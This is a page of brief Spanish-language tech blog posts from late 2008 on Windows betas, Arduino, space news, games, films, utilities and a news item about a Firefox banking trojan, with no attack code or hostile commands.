      Puedes descargarlo para probarlo desde:

      Microsoft Windows Vista SP2 Beta - download

      Algunas de las mejoras de las que se hablan, optimización del Sidebar, mejoras en la aplicación para Wifi, soporte Blue Ray …

      Ya veremos.

      Inseguridad y contramedidas en banca electrónica

      Parece ser que existe un nuevo troyano, específico para usuarios de firefox, que se hace pasar por una conocida (y muy útil) extensión de este potente navegador.

      Una vez instalado, el troyano (Trojan.PWS.ChromeInject.A) monitoriza nuestras conexiones a más de 100 sitios de banca online y sitios de transferencias de dinero, incluyendo PayPal, y envía los nombres de usuario y contraseñas capturados a un servidor en Rusia.

      Leído en barrapunto.

      La extensión que este troyano suplanta (Greasemonkey), para quien no lo sepa, es un plugín extremadamente útil, que permite, mediante pequeños scripts de usuario, modificar de forma dinámica las páginas web específicas que se le indiquen, mejorando su lectura, corrigiendo errores o añadiendo nuevas funcionalidades.

      Nos dejó Mikel Laboa

      La madrugada del pasado lunes, 1 de diciembre de 2008, falleció el cantautor Mikel Laboa a la edad de 74 años (esa noche también murió Joan Baptista Humet con 58 años).

      Icono y referente de la cultura vasca, ofreció su último y multitudinario concierto por la Paz en la Playa de la Zurriola de San Sebastián junto a Bob Dylan, en el año 2006.

      Además de interpretar canciones populares, poesías y composiciones propias, Mikel Laboa siempre fue por delante. Prueba de ello son sus Lekeitioak (juegos de palabras que buscan efectos onomatopéyicos y rimas), algo que cantantes posteriores como (y que no cunda el pánico…) nuestra admirada Björk, han utilizado en infinidad de ocasiones.

      Cómo cancelar un trabajo de impresión en Vista y …

      

      Foto: http://4sysops.com/

      Seguro que os ha pasado alguna vez que vas a imprimir y el trabajo se queda en la cola de impresión y es imposible eliminarlo sin reiniciar el equipo (y puede incluso que se mantenga). Pues hay una solución siempre y cuando tengas derechos de administrador sobre el equipo.

      Primero tienes que parar el servicio de la "Cola de Impresión":

      MiPC->botón derecho “Administrar”->Servicios:

      

      Arduino, la plataforma "Open Hardware"

       

      Arduino es un proyecto de hardware libre cuyo objetivo es conectar el ordenador con el mundo real, ya que se trata de una plataforma de I/O (entrada y salida) basada en un microcontrolador Atmel AVR (Atmeg168 en las versiones actuales). Esta placa consta de un regulador lineal de 5v y un cristal oscilador de 16Mhz.

      La comunicación con el ordenador se hace a través de comunicaciones serie (RS232 o USB).

      El IDE del Arduino es una plataforma java en la que se asienta el lenguaje Wiring, similar al C. Una de las ventajas de Arduino es que puede trabajar de forma independiente sin necesidad de estar conectado al PC, lo conectas para programarlo y luego puedes desconectarlo mientras realiza las funciones diseñadas, por lo tanto es un ideal para robots y componenes para los mismos.

      Beta de Windows 7 en Enero de 2009

       

      Anunciado en la web de Microsoft sobre Windows 7:

      http://windows7center.com/windows-7-news/windows-7-beta-1-to-be-released-on-january-13/

      Estaremos atentos para ver si conseguimos alguna.

      ¿Tirarías la basura?

      

      Esta foto no es un montaje, aunque parezca un retoño de Alien es “simplemente” un cangrejo cocotero, nativo de algunas islas del Pacífico.

      Yo mejor no lo tocaría por si acaso ;)

      Tabla periódica de los elementos, con fotografías

      

      Además al hacer click sobre un elemento, te muestra un gran detalle sobre el mismo.

      Puro arte.

      Dedicado a nuestro amigo Kentar ;)

        http://www.periodictable.com/

      Google invita a los programadores a crear …

      

      Emulando el éxito de Firefox al permitir el desarrollo de extensiones (lo que seguramente ha influido en su gran popularidad), Chrome soportará en breve, posiblemente en enero cuando la versión deje de ser beta, extensiones o addons para que todos los desarrolladores amplíen las posibilidades del navegador de Google. Han sacado este documento animando y recomendando algunas ideas para desarrollar (casi todas como las que ya existen para Firefox) , como por ejemplo un bloqueador de popups, descarga de videos, etc ...

      Los 15 juegos más, digamos "especiales", para la …

       

      No os perdáis este fantástico artículo de mi nuestro amigo Jose María Villalobos en Ecetia: 

      http://ecetia.com/2008/11/27/lista-de-los-15-juegos-mas-bizarros-de-nds-segun-ign-1/

      Realmente vais a alucinar con los juegos que existen para la NDS y que no conocéis. Arriba tienes un video de un “testeador de vinos” para la NDS …

      Alucinado me he quedado, gracias Villa ;)

      El lugar más remoto de la Tierra, habitado

      

      Siempre he pensado que era la Isla de Pascua, pero después de ver este excelente artículo en Neatorama, me he quedado alucinado sabiendo que la isla más remota de la Tierra es:

      Tristan da Cunha

      Perteceneciente a la Corona Británica, está a 2.430 Km de la isla más cercana habitada (Isla de Santa Helena). Tiene una población de menos de 300 habitantes, suelen ver sólo un barco al año y está justo en el centro del sur del Atlántico:

      Convertir un Acer Aspire One en un robot, …

       

      No es mala idea, si tienes un portátil y quieres hacer un robot, simplemente añade ruedas y ya tendrás todo el procesamiento de información así como periféricos (webcam, Wifi, etc ...) integrados. Con algunos comandos para controlar las ruedas y con la conectividad WiFi mira lo que puedes llegar a hacer:

      Visto en:

      http://www.engadget.com/2008/12/01/arduino-armed-acer-aspire-one-and-wheels-tools-around-shoots-vi/

      Noticia original:

      http://toolex.blogspot.com/2008/12/acer-aspire-one-arduino-rover-aa1.html

      TMG Firewall, el sustituto de ISA Firewall de …

      

      El ForeFront TMG Firewall es el nuevo nombre de la suite de seguridad de Microsoft, ya que la marca ISA parece que ya ha desaparecido. Este nuevo firewall reune las mismas características que el ISA pero unificando el cortafuegos con un sistema anti-malware (antivirus y antispam) integradas en el mismo producto.  Estará integrado como parte de la distribución de Windows Server 2008 EBS, Essential Bussines Server.

      Webcast del lanzamiento:

      Cuidado con las carpetas compartidas de los …

       

      Cualquier fichero/s que tengas en las carpetas que cuelgan de la compartida y que configuras cuando instalas programas como el emule, LPhant, BitTorrent, Ares, etc ... estará disponible y accesible en todo Interne para todo el mundo. Así que ya sabes, las fotos particulares, documentos privados, etc ... lejos de estas carpetas.

      Si no mira lo que le ha pasado a un trabajador de ONO:

      http://bandaancha.eu/articulo/6206/proteccion-datos-multa-ono-compartir-datos-miles-clientes-emule

      Los mejores programas de depuración (debugging) y …

       

      Si te dedicas a esto de la infomática desde hace tiempo, sabrás que dominar el ensamblador implica dominar totalmente el ordenador. A veces la única forma de entender lo que realmente hace un programa es estudiar su código ensamblador, ya que de la mayoría puede que no tengas el código fuente en su lenguaje original. Otra de las grandes utilidades de usar estos programas es el análisis para la búsqueda de programas maliciosos o usarlos cómo herramientas para la ingeniería inversa.

      Estas son algunas de las mejores herramientas para desemsamblar y hacer debugging de programas:

      Utilidad para renombrar ficheros, Bulk Rename …

      

      Windows

      Espectacular utilidad gratuita para renombrar ficheros pero a un nivel profesional. Puedes sustituir el nombre del fichero o parte del mismo, intercambiar extensiones, aplicar números y letras, cambia minúsculas y mayúsculas, previsualizar el resultado antes de aplicarlo, y mucho más. Sí que alguna vez he necesitado alguna aplicación para renombrar grandes cantidades de ficheros o incluso cambiar caracteres de los mismos y realmente al final acabas haciéndolo a mano. La interfaz al principio es complicada pero luego verás el potencial de esta fantástica utilidad.

      Descifrando códigos usando lápiz y papel

      

      Espectacular foto de LIFE (esta será una fuente inagotable) de un descifrador de códigos con sus herramientas, un lápiz y un papel. La foto tiene 68 años y el documento es un código alemán que está siendo analizado por un agente del FBI en la época previa a la Segunda Guerra Mundial. En estos momentos aún no sabían descifrar la máquina Enigma, aunque los ingleses ya estaban trabajando en ella comandado por el gran genio de la Informática, Alan Turing.

      SixAxis (mando PS3) en XP y Vista

       

      De momento aquí explicamos como se hace usando el cable usb conectado al PC (hay una forma para conectarlo por Bluetooth, pero lo veremos más adelante).

       

      Windows XP:

      Primero de todo descarga los drivers:

      http://dl.qj.net/SIXAXIS-driver-for-PC-Tools-and-Utilities-PlayStation-3/pg/12/fid/11679/catid/518

      y descomprímelo en una carpeta, por ejemplo C:\PS3.

      Instala el driver de USB, libusb-win32-filter-bin-0.1.10.1.exe y espera un minuto. Cuando lo hagas, todo lo que tengas conectado a USB se desconectará y reconectará de nuevo. Si tienes algún problema desinstala el programa.

      Aurora Boreal vista desde la ISS (Estación …

      Túnel secreto de una milla de longitud se vende en …

      

      1,6 kilómetros de túnel se vende bajo la zona más céntrica de Londres por el módico precio de 7,4 millónes de dólares. Sólo tiene dos ascensores con lo cual algunos proyectos tipo hotel o algo parecido no son viables por las normas de seguridad, pero aún así proyectos no faltan. El complejo llegó a tener incluso mesas de billar, un cine y dos salones comedores.

      Fue creado durante la guerra fría como centro de comunicaciones auxiliar en caso de una guerra nuclear.

      iPhone ejecutando un kernel Linux 2.6.

      iPhone Linux Demonstration Video from planetbeing on Vimeo.

      Faltan drivers y sólo está el arranque básico, pero es la primera prueba de un sistema operativo real, aparte del original, ejecutádose en un iPhone.

      Visto en:

      http://linuxoniphone.blogspot.com/2008/11/linux-on-iphone.html

      El dispositivo chino QiJi i6 soporta Windows …

       

      Si ya te habías acostumbrado a tu Windows Mobile pero también quieres usar el Android, ya no tienes que llevar dos móviles, con el QiJi i6 puedes instalar (de momento no puedes hacer dual boot) o el Windows Mobile o Android.

      Lo interesante realmente de la noticia es que seguro que algún otro fabricante sacará otro dispositivo parecido y no tardaremos en ver dual boot en alguno para seleccionar el sistema operativo que queremos usar.

      Ahora es el momento de sacar partido al ReadyBoost …

      

      Windows Vista

      Viendo los precios de los pendrives USB de 4 Gb (los más óptimos para esta función que están alrededor de los 10€ o menos) , os recordamos una función muy útil de Windows Vista llamada ReadyBoost, que no es más que una caché de disco a través del USB 2.0. pero realmente se nota en el rendimiento y que está incluida como una función más en Windows Vista.

      Creando un Pendrive USB de LEGO

      

      Si aún tienes alguna pieza de LEGO por ahí y que quieras reutilizar en un pendrive USB, no dudes en visitar esta página donde se explica paso a paso cómo construirlo:

      http://www.instructables.com/id/Lego-USB-Stick/

      Ya estoy rebuscando entre mis cosas algun ladrillo de estos para hacerme uno ;)

      Tarjetas de para Geeks

      

      Ahora que se acercan algunas fiestas, puedes enviar algunas de estas tarjetas para todos vean lo geek que eres ;)

      Visto en:

      http://blogs.zdnet.com/perlow/?p=9339

      Noticia original:

      http://www.telegraph.co.uk/topics/christmas/3531904/Christmas-and-holiday-cards-for-geeks-Top-11.html

      Otras tarjetas divertidas en:

      http://www.tinyprints.com/greeting-cards-for-geeks.htm

      Los juegos más vendidos de Nintendo DS y PSP

       

      

      Desde 2004 hasta hoy, son los siguientes:

       

       TOP Nintendo DS:

      1. Super Mario Bros.

      2. Mario Kart

      3. Pokemon diamond version

      4. Super Mario 64 DS

      5. Brain Age: Train your brain in minutes a day

       

      TOP Sony PSP:

      1. Grand Theft Auto: Liberty City Stories

      2. Midnight Club 3: DUB Edition

      3. Need for Speed: Monst Wanted

      4. Grand Theft Auto: Vice City

      La "wish list" de Wired, espectacular

      

      Ahora que se acercan las navidades, no os olvidéis de echar un vistazo a la “wish list”  (lista de deseos) de Wired, seguro que lo vas a querer todo.

      Lo mejor de automoción, cámaras de fotos, cámaras de videos, teléfonos móviles, portátiles, televisiones y mucho más en una estupenda lista con sus correspondientes precios de lo mejor del 2008.

      http://www.wired.com/reviews/package/wishlist2008

      Yo me lo quedaba todo.

      Terminator Salvation, poster y trailer

      Haz click sobre el poster:

      

       

      Más sobre Terminator Salvation:

      http://rss.warnerbros.com/terminatorsalvation/

      http://www.blogdecine.com/2008/07/20-terminator-salvation-aqui-tenemos-al-sucesor-de-arnold-schwarzenegger

      http://es.wikipedia.org/wiki/Terminator_4

      Trailer:

      Expocómic 2008 en Madrid

       

      

       

      Si andas por Madrid a partir del jueves 27 de noviembre, no puedes perderte el Expocómic 2008.

      En ZonaFandom nos dan toda la información sobre cómo llegar y movernos por la exposición:

      http://www.zonafandom.com/2008/11/26-expocomic-2008-como-llegar-y-como-moverse-por-el-pabellon

      Y más información en ZonaFandom sobre los eventos, invitados, etc … , aquí.

      Protección del software Parte V,VI y VII, de …

      Había dejado un poco olvidado este fantástico artículo sobre la seguridad del software, pues aquí teneís:

      Parte V

      Parte VI

      Parte VII

      Fantástico, gracias S21sec.

      Los otros capítulos en CyberHades, aquí.

      El ajedrez cuadro, puedes incluso jugar

      

      Visto en:

      http://www.neatorama.com/2008/11/26/straight-up-chess/

      Impresora BlueTooth usando Lego Mindstorm

      Increible, usando Lego Mindstorm, por cierto el sábado es mi cumpleaños, así que ya sabeís ;)

       

      Más información:

      http://www.xframe.com.br/printer/

      Visto en:

      http://letsmakerobots.com/node/3511

      Fedora 10 ya está disponible

      

      Una de nuestras distribuciones favoritas de Linux, Fedora,  ya ha publicado su versión 10. Si quieres saber todas las nuevas características de esta fantástica distribución pulsa en este enlace para verlas (en español):

      http://docs.fedoraproject.org/release-notes/f10/es/

      Para descargarlo:

      http://fedoraproject.org/en/get-fedora

      El nuevo satélite de la Estación Espacial …

      Perdida en la última misión a la ISS se ha quedado orbitando cerca y tiene que ser incluso controlada para evitar el impacto tanto contra la Estación como contra alguna nave que se aproxime a la misma.

      Más información:

      El Mundo: Astronauta pierde sus herramientas

      La primera foto de un exoplaneta, Fomalhaut b

      

       

      Con una masa casi 3 veces la de Júpiter, es la primera foto de un planeta extrasolar a 25 años luz de distancia.

      Más información en nuestra querida:

      SondasEspaciales

      The IT Crowd, temporada 3

      

      Ya ha salido el primer episodio de la tercera temporada de nuestra serie favorita:

      The IT Crowd

      Visto en:

      http://blogs.elpais.com/espoiler/2008/11/the-it-crowd-no.html

      http://www.microsiervos.com/archivo/peliculas-tv/tercera-temporada-the-it-crowd.html

      The Seeds en Valencia

      Este jueves, 27 de noviembre, en el Magazine Club de Valencia (zona Juan Llorens): los míticos The Seeds.

      

      Formados en Los Ángeles, debutaron en 1966, (mientras The Beatles publicaban Revolver, Rolling Stones nos deleitaban con Aftermath o The Beach Boys asombraban con Pet Sounds). Su mayor éxito vino con “Pushing Too Hard”, todo un himno garajero-psicodélico donde los haya.

      Liderados por Sky Saxon (de nombre real Richard Marsh), fueron uno de los grandes grupos de garage de la época y uno de los primeros en usar un teclado como bajo.

      El simulador de Auroras Boreales

      Directamente sobre las paredes de tu casa.

      Para comprarlo:

      http://www.himeyashop.com/product_info.php/products_id/5817

      Visto en:

      Gizmodo

      El código de lanzamiento de los misiles nucleares …

       

      00000000

      Sí, ocho ceros. Al parecer el destino del mundo desde 1970 hasta 1977, donde ya se cambiaron por otros códigos y otros métodos sofisticados. Más terrorífico que el código de ceros, es que cualquiera lo sabía, y también cualquiera podría haber provocado el fin de la Humanidad con tener acceso a la consola de lanzamiento de los misiles.

      Impresionante.

      Noticia original:

      http://www.cdi.org/blair/permissive-action-links.cfm

      Visto en Menéame.

      Cythbot, el jugador robot de Guitar Hero

      

      Creado para probar el reconocimiento visual es capaz de identificar las notas y luego pulsar el botón adecuado en la guitarra, usando pequeños pulsadores neumáticos. Aunque no lo creas, no llega al 100% de efectividad, hay humanos que sí lo consiguen.

      Para verlo en acción:

      Enlaces:

      http://blog.wired.com/gadgets/2008/11/guitar-hero-rob.html

      http://hackaday.com/2008/11/22/cythbot-pneumatic-guitar-hero/

      Si antes no te has creido que existen jugadores que llegan al 100% mira este otro video:

      Google anuncia que puede ordenar un Petabyte en 6 …

       

      Antes recuerda lo que es un Petabyte:

      Un millón de Gigabytes ó mil Terabytes

      Para hacerlo usaron 4.000 ordenadores y un modelo de programación propio de Google llamado MapReduce que permite ejecutar procesos en paralelo y generar grandes bloques de datos.

      Toda la historia en:

      http://googleblog.blogspot.com/2008/11/sorting-1pb-with-mapreduce.html

      Visto en:

      http://developers.slashdot.org/developers/08/11/23/1637219.shtml

      Dos tutoriales de Photoshop, uno para aprender y …

      

      (Imágen creada por  gavin13, puedes descargarla aquí)

      En inglés los dos pero son realmente geniales.

      El tutorial para añadir fuego, chispas, efectos del sol, etc …

      Tutorial para crear efectos de luz

      Y para aprender Photoshop:

      Aprende Photoshop básico en una semana

      Otros trucos publicados en CyberHades

      40 trucos Photoshop para retocar tu fotos (de personas)

      Recuerda que existe una opción gratuita bastante buena, el GIMP:

      Algunos tutoriales:

      PS3 Keypad de Sony, en diciembre

      

      Fantástico addon para el dualshock 3 de la PS3, sobre todo a la hora de navegar por Internet o para escribir mensajes en los juegos.

      Visto en:

      http://forevergeek.com/gadgets/ps3_keypad_delayed_to_december.php

      El meteoro de Alberta, un par de videos

      Visto en:

      http://alt1040.com/2008/11/el-mundo-se-acaba-no-es-un-meteorito/

      http://www.boingboing.net/2008/11/21/alberta-meteor-sight.html

      Como acceder a un equipo con Linux desde un equipo …

      

      Al revés ya sabes que es fácil, pero desde Windows a Linux necesitarás alguna configuración y herramienta de ayuda. Ante todo asumimos que tienes instalado Samba en tu equipo Linux.

      Sólo en Noviembre (quedan pocos días) descarga …

      

      Promoción en la que sólo tienes que registrarte (si tienes Messenger, Passport o Live! no lo necesitarás) y podrás descargar GRATIS estos dos magníficos ebooks:

      “Windows Server® 2008 Networking and Network Access Protection (NAP)” & “Windows Embedded CE 6.0 Fundamentals)"

      Enlace para la descarga y el registro:

      http://kurtsh.spaces.live.com/Blog/cns!DA410C7F7E038D!4238.entry

      Genial.

      Elf YourSelf 2008, para reirte un rato

      Si quieres reirte un rato y crear una felicitación de Navidad original y divertida, sube un par de fotos a la web de Elf YourSelf y verás. Un ejemplo:

      Visto en:

      http://larryfire.wordpress.com/2008/11/22/elf-yourself-2008-2/

      Astroboy (trailer)

      Web oficial:

      http://www.astroboy-themovie.com/

      Sobre Astroboy:

      http://es.wikipedia.org/wiki/Astroboy

      Cómo imprimir una lista de carpetas o directorios

      

      Parece una tontería y la única forma que se me ocurre es capturar pantalla y luego imprimirla. Pero existe una aplicación gratuita que te permite configurar multitud de opciones a la hora de imprimirlas.

      Puedes descargarla desde:

      http://www.karenware.com/powertools/ptdirprn.asp

      Algunas nuevas expediciones espaciales de la NASA

       

      Estas son algunas misiones (para realizarlas en un corto periodo de tiempo) que la NASA está estudiando para decidir cuál o cuáles de ella puede llegar a hacerse realidad:

      Tabula Rasa de Richard Garriott, cerrará en …

       

      El MMORPG creado por el genial Richard Garriott no ha tenido al parecer, mucha aceptación entre los jugadores. Se ha anunciado en su página web el cierre definitivo del juego para Febrero de 2009. Durante Enero el juego será gratuito, así que es una buena oportunidad para verlo antes del cierre. He encontrado un buen análisis del juego aquí.

      Algunas imágenes del juego:

      Revista gratuita sobre Linux, TuxInfo

      

      Excelente revista sobre Linux totalmente gratuita y con un contenido realmente profesional. El número actual es el 11.

      Puedes descargarla directamente desde:

      http://infosertec.loquefaltaba.com/

      Tarta de cumpleaños en binario

      Friki friki pero no puedo evitar ponerlo en blog, me ha encantado:

      

      Esta en concreto, 34 añitos Felicidades ;)

      Visto en:

      http://www.evilmadscientist.com/article.php/binarybday

      II Salón del Manga de Valencia

      

      Si estás en Valencia los días 22 y 23 de noviembre, te puedes pasar por el recinto GreenSpace para el 2º Salón del Manga de Valencia.

      Toda la información del evento en:

      http://www.salondelmangadevalencia.es/

      Lost, promo de la quinta temporada

      SPOILER ALERT!: Si nunca has visto Lost (y tienes intención de verlo) o estás aún en otra temporada, no veas este video:

      La "Internet Interplanetaria" pasa el primer test

      

      La NASA ha concluido con éxito una prueba de lo que sería la Internet Interplanetaria. La prueba ha consistido en enviar imágenes de Marte y de Fobos entre computadoras en la Tierra y la sonda espacial Epoxi. Se ha usado un nuevo protocolo (como el TCP/IP) de comunicaciones llamado “disruption/relay tolerant networking” creado por Vinton Cerf (el padre de Internet). Este protocolo permitirá hacer que las naves espaciales actúen igual que un router, de esta forma en vez de enviar los datos a la Tierra los podrá enviar a otra nave de esta forma se podría buscar el camino óptimo para hacer llegar toda la información tanto a la Tierra como a otra nave espacial … increible.

      El motor más sencillo del mundo a vapor/calor

      Os aconsejo ver el video hasta el final, ya que explica paso a paso cómo construirlo.

      Visto en:

      http://www.neatorama.com/2008/11/21/worlds-simplest-steam-engine/

      El archivo fotográfico de LIFE

      

      Revista LIFE.

      Impresionante archivo fotográfico desde que se inventó la fotografía (más o menos desde 1860), historia en imágenes:

      http://images.google.com/hosted/life

      Por supuesto el índice y las opciones de búsquedas son geniales, ya que las imágenes están almacenadas por Google.

      Te recomiendo un vistazo a estas fotografías históricas.

      Primera imágen de Jhonny Depp como "El sombrerero …

      

      Visto en:

      http://larryfire.wordpress.com/2008/11/17/first-look-at-johnny-depp-as-the-mad-hatter/

      Ya hablamos en:

      http://www.cyberhades.com/2008/09/27/tim-burton-dirigira-alicia-en-el-pais-de-las-maravillas/

      "Trism" ya lleva 250.000 dólares ganados (juego …

       

      Para que luego digan que los juegos de móviles no son rentables. El juego Trism ha sido creado por Steve Demeter un programador de software para cajeros automáticos que desarrolló este programa en sus ratos libres y ya véis 250.000 dólares recaudados (para él solito). El juego tiene un precio de 5 dólares y ha tenido tal éxito que Steve ha abandonado su trabajo y ha fundado su propia empresa de videojuegos y ya está trabajando en la segunda parte … si es que sólo hay que tener la idea feliz para forrarse … ;)

      USB 3.0, 25Gb en 70 segundos

      

      Hasta el 2009 no llegará esta nueva tecnología de USB 3.0, pero ya tenemos ganas de verla. Hasta 10 veces más rápidas que las actuales USB 2.0 y lo mejor, será compatible con todos los formatos hacia atrás. Imagina el potencial de los sistemas operativos USB instalados bajo esta versión 3.0. Y no sólo sistemas operativos, aplicaciones portables, programas, etc …

      Visto en MuyComputer.

      Presentaciones en PDF de LaCon 2008

      

      LaCon 2008

      Todos los PDF de las charlas ofrecidas en LaCon 2008 en Málaga, toda la información disponible en una de nuestras páginas favoritas:

      http://www.yoire.com/1446-presentaciones-pdfs-lacon-2008

      Nintendo NDSi en acción (video)

      Visto en:

      Wired

      Revo Uninstaller, utilidad para desinstalar …

      

      Windows

      A veces para desinstalar los programas que se nos van acumulando nos hace falta alguna herramienta más aparte del ya conocido “Agregar o quitar programas” del Panel de Control. Esta versión puedes instalarla tando en el equipo como una versión portable. Realmente son una colección de utilidades para mantener el equipo limpio de basura.

      Estas son las utilidades:

      Uninstaller, ideal para eliminar las carpetas, ficheros y entradas en el registro que suelen quedar cuando desinstalas programas y aún quedan partes en el disco.

      Las fotos de Chandra en 3D

      

      Chandra

      Instalando el plugin cool-iris tanto para Firefox, Internet Explorer ó Safari podrás ver toda una galería de fotos tomadas por Chandra en tu navegador (con un efecto en 3d bastante chulo). La galería de fotos de rayos X es espectacular:

      Acceso directo a la galería de Chandra

      Si quieres saber más:

      http://www.noticiasdelcosmos.com/2008/11/las-fotos-de-chandra-en-3-d.html

      "Moon" más sci-fi para el 2009

      

      “Moon” es una película de ciencia ficción sobre un astronauta (Sam Bell) que trabaja tres años en unas prospecciones de gas en la Luna que cambian por completo su vida. Cuando está a punto de volver a la Tierra, empieza a notar cosas extrañas (ruidos) y además comienzan a llegar rumores extraños sobre la Tierra …

      Como aún no tenemos trailer, en este enlace puedes ver imágenes de la película:

      La exposición de Star Wars en Madrid

      

      Si vives en Madrid o vas a pasar por allí, recuerda que hay una exposición sobre Star Wars en el Centro de Arte Canal de Isabel II, hasta el 15 de marzo de 2009.

      Para ir abriendo boca, 245 piezas ORIGINALES de las películas y una escuela Jedi …

      Ah por cierto, cuesta 10 euros la entrada.

      http://www.starwars-theexhibition.com/index.html

      Visto en:

      http://www.diariodelviajero.com/2008/11/16-exposicion-sobre-star-wars-en-madrid

      Sonidos de los discos duros cuando fallan

       

      Todos los que nos dedicamos a esto de la Infomática conocemos el famoso click de la muerte de los discos duros cuando dejan de funcionar. Aunque cuando oyes alguno de estos sonidos sabes que la cosa está complicada para recuperarlo, es bastante útil saber qué síntoma puede tener en función del ruido que hace el disco duro cuando falla para buscarle alguna solución casi milagrosa.

      En la web de la empresa DataCent puedes encontrar un archivo de sonidos asociados al posible error que lo está causando, incluso ordenado por modelo de disco:

      La foto espectacular del Lunar Orbiter 1, …

      

      (Si quieres ver la foto a más resolución pulsa aquí)

      Hace 42 años la sonda Lunar Orbiter 1 tomó esta espectacular imágen de la Tierra sobre el horizonte de la Luna. Esta foto es parte de un proyecto llamado LOIRP para recuperar todas los datos analógicos que se registraron en la época. Una de ellas ha sido esta foto que se ha ampliado a la resolución y se ha mejorado también la calidad.

      La librería infinita

      

      Foto y obra: Job Koelewijn

      Visto en:

      http://www.neatorama.com/2008/11/15/the-infinity-bookcase/

      Tecnología secreta de "energía dirigida" para …

      

      Los servicios secretos Norteamericanos se han estado esforzando bastante en su protección desde que el presidente electo de los Estados Unidos, Obama fuera elegido candidato. Han sido bastantes los planes para su asesinato, pero parece ser que ellos tienen algo más que limusinas blindadas y radios en la oreja super chulas para comunicarse. Unos documentos han revelado que usan tecnología de direccionamiento de la energía altamente secretos. Se les suele llamar “armas sensitivas”.

      Chemical Brothers - Midnight Madness

      Sube el volúmen de los altavoces y prepárate, Chemical Brothers:

      El secreto de Google Chrome

      

      Chrome no es sólo un navegador, aunque Google nos lo venda como tal. Muchos se ponen simplemente a comparar otros navegadores con Chrome el cual no sale tan bien parado con respecto a Firefox o Internet Explorer, pero esto es lo de menos…

      Realmente es toda una plataforma preparada y lista para actuar casi como un sistema operativo propio (del tipo por ejemplo EyeOS). ¿Qué está diciendo este tio? pues eso, digamos que es el centro de la integración de todos los servicios como Gmail, Google Docs, Google Search, etc … si los juntas todos obtienes prácticamente la funcionalidad de un sistema operativo tanto online como offline. Parece que Google está creando herramientas y utilidades para integrar en Chrome que los demás navegadores no podrán hacer debido a su programación (excepto a lo mejor FireFox que se está poniendo las pilas con Tracemonkey). Chrome es básicamente una colección de herramientas y librerías preparadas para que en el futuro ir integrando aplicaciones y funciones cada vez más complejas.

      El trailer definitivo de Watchmen

      Creo que voy a llorar :_ ) alucinante:

       

      Para verlo con más calidad:

      http://movies.yahoo.com/movie/1808406490/video/10658091

      Watchmen

      Visto en:

      http://www.microsiervos.com/archivo/peliculas-tv/watchmen-trailer-definitivo.html

      Windows 7 parece que es prácticamente igual que …

      

      Tdos esperábamos un SO totalmente nuevo con Windows 7, pero ahora según unos test de PCWorld, Windows 7 parece ser simplemente un envoltorio para un Vista camuflado. Usa los mismos procesos y el uso de la memoria es prácticamente el mismo, solo cambian la barra de tareas y algunas nuevas aplicaciones del sistema.

      Pero aún es demasiado pronto para evaluarlo, así que esperamos ir viendo alguna evolución real con respecto al Windows Vista antes de la publicación del nuevo Windows 7.

      El SPAM cae una tercera parte (a nivel mundial) …

      

      En concreto McColo Corp (190 mil millones de correos diarios) encargada de coordinar el 75% de todo el Spam diario mundial.

      Esto sólo es un espejismo, en pocos días todo volverá a la “normalidad” ;)

      Visto en:

      http://www.securityfocus.com/brief/855?ref=rss

      http://tecnologia21.com/seguridad/mccolo-corp-golpe-spam/

      http://www.kriptopolis.org/spam-cae-tras-desconexion-una-sola-empresa

      Como se financian los grandes proyectos de …

      

      ¿Nunca te has preguntado cómo pueden hacer por ejemplo Firefox, Ubuntu, Emule, Gimp, etc para poder financiarse y sacar esos excelentes productos?

      En este artículo se explica perfectamente:

      http://www.abadiadigital.com/noticia3377.html

      Visto en:

      http://barrapunto.com/

      The Cult, la página web de Chuck Palahniuk

      

      Buceando por la red me tope en yonkis.com con una noticia impactante. Chuck Palahniuk, autor de El Club de la lucha, había estado leyendo un relato corto titulado Guts (Tripas), basado en accidentes relacionados con la masturbación. Parece ser que la lectura de este relato provocó 35 desmayos.

      Ni corto ni perezoso me lance a leerlo. Y bueno, no es para desmayarse teniendo en cuenta que tenemos los sentidos más que acostumbrados a las noticias de Tele 5, pero la verdad es que se lee muy rápido. Tiene una forma de escribir que engancha.

      WOTLK, tiene un problema en algunos DVD que no te …

      

      La expansión Wrath of the Lich King (WOTLK) ya está en la calle.

      Pues después de tanta espera encima te puede aparecer el siguiente error:

      “No se puede instalar directx”

      se para la instalación.

      El motivo es una carpeta corrupta, en concreto la \directx.

      ¿Cómo lo hemos solucionado? muy simple, busca por internet la instalación de Directx (yo he encontrado esta exacta a la del DVD del juego) creas una carpeta por ejemplo WOTLK y vuelca en dicha carpeta el contenido del DVD menos la carpeta del directx. Luego creas una que se llame igual (directx) dentro de la carpeta WOTLK y descomprime allí la instalación que has descargado de directx. Luego ejecuta el juego desde dicha carpeta nueva que has creado y listo, ya se instala.

      Kit para matar vampiros vendido por 14.850 dólares

      

      De más de 200 años de antigüedad , con estacas, espejos, ajos, una pistola con balas de plata, cruces, biblia, agua sagrada … etc, vamos todo lo que te hace falta para matar a un vampiro (menos mal no podía vivir si este kit). No tengo ni idea si será auténtico pero esta muy guapo ;) aunque pagar casi 15.000 dólares por esto …

      Visto en:

      IPNetInfo, obteniendo información sobre una …

      

      Pequeña herramienta pero muy útil para saber toda la información posible de una dirección IP. Puedes saber quién ha podido atacar tu sistema o el origen de alguna IP sospechosa de correo basura. Lo mejor que tiene, que puedes poner múltiples IP y que es totalmente gratuita.

      Visto en:

      4SysOps

      Puedes descargarla desde:

      http://www.nirsoft.net/utils/ipnetinfo.html

      Para nuestra colección.

      Una calculadora creada en el LittleBigPlanet

      Realmente espectacular, una calculadora de 8 bits que convierte de decimal a binario y también suma y resta. Todo ello realizado con el juego LittleBigPlanet. No te pierdas la parte final del video donde podrás ver todo el mecanismo realizado para crear la calculadora …

      Visto en Microsiervos:

      http://www.microsiervos.com/archivo/juegos-y-diversion/pequena-gran-calculadora.html

      Células con "mochila"

      

      Científicos de MIT, expertos en nanotecnología, han creado células capaces de transportar fármacos hasta el punto exacto del organismo donde se necesitan.

      Se trata de microscópicas bolsas cargadas de nanopartículas magnéticas. De este modo, sus movimientos pueden ser manipulados con imanes, lo que permite llevar su equipaje de medicamentos o elementos de proyección de imágenes a una parte muy concreta del organismo.

      Simplemente magnífico. :-)

      Adios a la sonda Phoenix

      

      La NASA ha dado el contacto por perdido con la sonda Phoenix definitivamente. Ésta había dejado de emitir el pasado día 2 de Noviembre. La falta de luz solar y las temperaturas del invierno marciano, ahora cercanas a -95 ºC aunque seguirá descendiendo, han hecho que la sonda entre en modo “Lazaro” y deje de emitir.

      En la NASA ya han declarado el fin de las actividades de Phoenix, aunque seguirán alerta en las próximas semanas por si la sonda volviera emitir, evento que consideran altamente improbable.

